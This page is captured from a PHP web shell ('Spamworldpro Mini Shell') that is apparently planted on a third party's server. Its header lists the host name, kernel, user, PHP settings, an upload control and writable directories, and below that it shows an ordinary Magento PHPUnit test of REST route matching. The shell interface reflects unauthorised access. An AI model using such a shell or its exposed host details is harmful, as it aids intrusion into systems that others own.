Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-webapi/Test/Unit/Controller/Rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/old/vendor/magento/module-webapi/Test/Unit/Controller/Rest/RouterTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Webapi\Test\Unit\Controller\Rest;

use Magento\Framework\App\AreaList;
use Magento\Framework\TestFramework\Unit\Helper\ObjectManager;
use Magento\Framework\Webapi\Rest\Request;
use Magento\Webapi\Controller\Rest\Router;
use Magento\Webapi\Controller\Rest\Router\Route;
use Magento\Webapi\Model\Rest\Config;
use PHPUnit\Framework\TestCase;

class RouterTest extends TestCase
{
    /** @var Route */
    protected $_routeMock;

    /** @var Request */
    protected $_request;

    /** @var Config */
    protected $_apiConfigMock;

    /** @var Router */
    protected $_router;

    protected function setUp(): void
    {
        /** Prepare mocks for SUT constructor. */
        $this->_apiConfigMock = $this->getMockBuilder(
            Config::class
        )->disableOriginalConstructor()
            ->getMock();

        $this->_routeMock = $this->getMockBuilder(
            Route::class
        )->disableOriginalConstructor()
            ->setMethods(
                ['match']
            )->getMock();

        $areaListMock = $this->createMock(AreaList::class);

        $areaListMock->expects($this->once())
            ->method('getFrontName')
            ->willReturn('rest');

        $objectManager = new ObjectManager($this);
        $this->_request = $objectManager->getObject(
            Request::class,
            [
                'areaList' => $areaListMock,
            ]
        );

        /** Initialize SUT. */
        $this->_router = $objectManager->getObject(
            Router::class,
            [
                'apiConfig' => $this->_apiConfigMock
            ]
        );
    }

    protected function tearDown(): void
    {
        unset($this->_routeMock);
        unset($this->_request);
        unset($this->_apiConfigMock);
        unset($this->_router);
        parent::tearDown();
    }

    public function testMatch()
    {
        $this->_apiConfigMock->expects(
            $this->once()
        )->method(
            'getRestRoutes'
        )->willReturn(
            [$this->_routeMock]
        );
        $this->_routeMock->expects(
            $this->once()
        )->method(
            'match'
        )->with(
            $this->_request
        )->willReturn(
            []
        );

        $matchedRoute = $this->_router->match($this->_request);
        $this->assertEquals($this->_routeMock, $matchedRoute);
    }

    public function testNotMatch()
    {
        $this->expectException('Magento\Framework\Webapi\Exception');
        $this->_apiConfigMock->expects(
            $this->once()
        )->method(
            'getRestRoutes'
        )->willReturn(
            [$this->_routeMock]
        );
        $this->_routeMock->expects(
            $this->once()
        )->method(
            'match'
        )->with(
            $this->_request
        )->willReturn(
            false
        );

        $this->_router->match($this->_request);
    }
}

Spamworldpro Mini